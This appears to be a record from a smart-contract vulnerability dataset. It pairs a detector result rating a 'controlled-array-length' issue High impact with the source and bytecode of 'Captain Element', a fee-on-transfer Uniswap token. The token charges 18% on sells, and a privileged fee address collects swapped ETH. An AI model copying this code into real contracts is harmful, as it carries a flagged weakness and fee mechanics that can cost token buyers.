628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509291505056fea165627a7a72305820cda861a54a2674aa6f3fb34976c131bb9325d5a4277075a519381032f97e1e6e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,064
0xc4f976161e0ac8a98445374927a496f03faa3deb
/** *Submitted for verification at Etherscan.io on 2021-07-19 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CaptainElement is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e15 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Captain Element"; string private constant _symbol = unicode"CptnElmt"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 7; uint256 private _feeRate = 9; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 7; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 18; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b6040516101679190612e6f565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061298d565b61054a565b6040516101a49190612e54565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf9190613051565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa919061293e565b61057a565b60405161020c9190612e54565b60405180910390f35b34801561022157600080fd5b5061022a610653565b6040516102379190613051565b60405180910390f35b34801561024c57600080fd5b50610255610663565b60405161026291906130c6565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612a1b565b61066c565b005b3480156102a057600080fd5b506102bb60048036038101906102b691906129c9565b610753565b005b3480156102c957600080fd5b506102e460048036038101906102df91906128b0565b61084b565b6040516102f19190613051565b60405180910390f35b34801561030657600080fd5b5061030f6108a2565b005b34801561031d57600080fd5b50610338600480360381019061033391906128b0565b610914565b6040516103459190613051565b60405180910390f35b34801561035a57600080fd5b50610363610965565b005b34801561037157600080fd5b5061037a610ab8565b6040516103879190612d86565b60405180910390f35b34801561039c57600080fd5b506103a5610ae1565b6040516103b29190612e6f565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd919061298d565b610b1e565b6040516103ef9190612e54565b60405180910390f35b34801561040457600080fd5b5061040d610b3c565b60405161041a9190612e54565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906128b0565b610b53565b6040516104579190613051565b60405180910390f35b34801561046c57600080fd5b50610475610baa565b005b34801561048357600080fd5b5061048c610c24565b005b34801561049a57600080fd5b506104a3610ce9565b6040516104b09190613051565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612902565b610d1b565b6040516104ed9190613051565b60405180910390f35b34801561050257600080fd5b5061050b610da2565b005b60606040518060400160405280600f81526020017f4361707461696e20456c656d656e740000000000000000000000000000000000815250905090565b600061055e6105576112b6565b84846112be565b6001905092915050565b600069d3c21bcecceda1000000905090565b6000610587848484611489565b610648846105936112b6565b6106438560405180606001604052806028815260200161372e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f96112b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccd9092919063ffffffff16565b6112be565b600190509392505050565b600061065e30610914565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ad6112b6565b73ffffffffffffffffffffffffffffffffffffffff16146106cd57600080fd5b60338110610710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070790612f31565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b546040516107489190613051565b60405180910390a150565b61075b6112b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df90612f91565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108409190612e54565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089b9190613217565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e36112b6565b73ffffffffffffffffffffffffffffffffffffffff161461090357600080fd5b600047905061091181611d31565b50565b600061095e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9d565b9050919050565b61096d6112b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190612f91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4370746e456c6d74000000000000000000000000000000000000000000000000815250905090565b6000610b32610b2b6112b6565b8484611489565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba39190613217565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610beb6112b6565b73ffffffffffffffffffffffffffffffffffffffff1614610c0b57600080fd5b6000610c1630610914565b9050610c2181611e0b565b50565b610c2c6112b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612f91565b60405180910390fd5b6001601360146101000a81548160ff021916908315150217905550607842610ce19190613136565b601481905550565b6000610d16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610914565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610daa6112b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90612f91565b60405180910390fd5b601360149054906101000a900460ff1615610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e90613011565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006112be565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5e57600080fd5b505afa158015610f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9691906128d9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff857600080fd5b505afa15801561100c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103091906128d9565b6040518363ffffffff1660e01b815260040161104d929190612da1565b602060405180830381600087803b15801561106757600080fd5b505af115801561107b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109f91906128d9565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112830610914565b600080611133610ab8565b426040518863ffffffff1660e01b815260040161115596959493929190612df3565b6060604051808303818588803b15801561116e57600080fd5b505af1158015611182573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a79190612a44565b50505068a2a15d09519be0000060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611260929190612dca565b602060405180830381600087803b15801561127a57600080fd5b505af115801561128e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b291906129f2565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132590612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590612ed1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147c9190613051565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f090612fd1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090612e91565b60405180910390fd5b600081116115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a390612fb1565b60405180910390fd5b6115b4610ab8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162257506115f2610ab8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0a57601360159054906101000a900460ff161561172857600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611727576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117d35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118295750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f657601360149054906101000a900460ff1661187d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187490613031565b60405180910390fd5b6007600a81905550601360159054906101000a900460ff161561198c5742601454111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90612ef1565b60405180910390fd5b602d426119449190613136565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff16156119f557600f426119ae9190613136565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610914565b9050601360169054906101000a900460ff16158015611a6e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a865750601360149054906101000a900460ff165b15611c08576012600a81905550601360159054906101000a900460ff1615611b2d5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2390612f51565b60405180910390fd5b5b6000811115611bee57611b886064611b7a600b54611b6c601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610914565b61210590919063ffffffff16565b61218090919063ffffffff16565b811115611be457611be16064611bd3600b54611bc5601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610914565b61210590919063ffffffff16565b61218090919063ffffffff16565b90505b611bed81611e0b565b5b60004790506000811115611c0657611c0547611d31565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cb15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611cbb57600090505b611cc7848484846121ca565b50505050565b6000838311158290611d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0c9190612e6f565b60405180910390fd5b5060008385611d249190613217565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d99573d6000803e3d6000fd5b5050565b6000600754821115611de4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddb90612eb1565b60405180910390fd5b6000611dee6121f7565b9050611e03818461218090919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e69577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e975781602001602082028036833780820191505090505b5090503081600081518110611ed5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7757600080fd5b505afa158015611f8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611faf91906128d9565b81600181518110611fe9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112be565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b495949392919061306c565b600060405180830381600087803b1580156120ce57600080fd5b505af11580156120e2573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b600080831415612118576000905061217a565b6000828461212691906131bd565b9050828482612135919061318c565b14612175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216c90612f71565b60405180910390fd5b809150505b92915050565b60006121c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612222565b905092915050565b806121d8576121d7612285565b5b6121e38484846122c8565b806121f1576121f0612493565b5b50505050565b60008060006122046124a7565b9150915061221b818361218090919063ffffffff16565b9250505090565b60008083118290612269576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122609190612e6f565b60405180910390fd5b5060008385612278919061318c565b9050809150509392505050565b600060095414801561229957506000600a54145b156122a3576122c6565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806122da8761250c565b95509550955095509550955061233886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124198161261c565b61242384836126d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124809190613051565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b60008060006007549050600069d3c21bcecceda100000090506124df69d3c21bcecceda100000060075461218090919063ffffffff16565b8210156124ff5760075469d3c21bcecceda1000000935093505050612508565b81819350935050505b9091565b60008060008060008060008060006125298a600954600a54612713565b92509250925060006125396121f7565b9050600080600061254c8e8787876127a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ccd565b905092915050565b60008082846125cd9190613136565b905083811015612612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260990612f11565b60405180910390fd5b8091505092915050565b60006126266121f7565b9050600061263d828461210590919063ffffffff16565b905061269181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ee8260075461257490919063ffffffff16565b600781905550612709816008546125be90919063ffffffff16565b6008819055505050565b60008060008061273f6064612731888a61210590919063ffffffff16565b61218090919063ffffffff16565b90506000612769606461275b888b61210590919063ffffffff16565b61218090919063ffffffff16565b9050600061279282612784858c61257490919063ffffffff16565b61257490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c2858961210590919063ffffffff16565b905060006127d9868961210590919063ff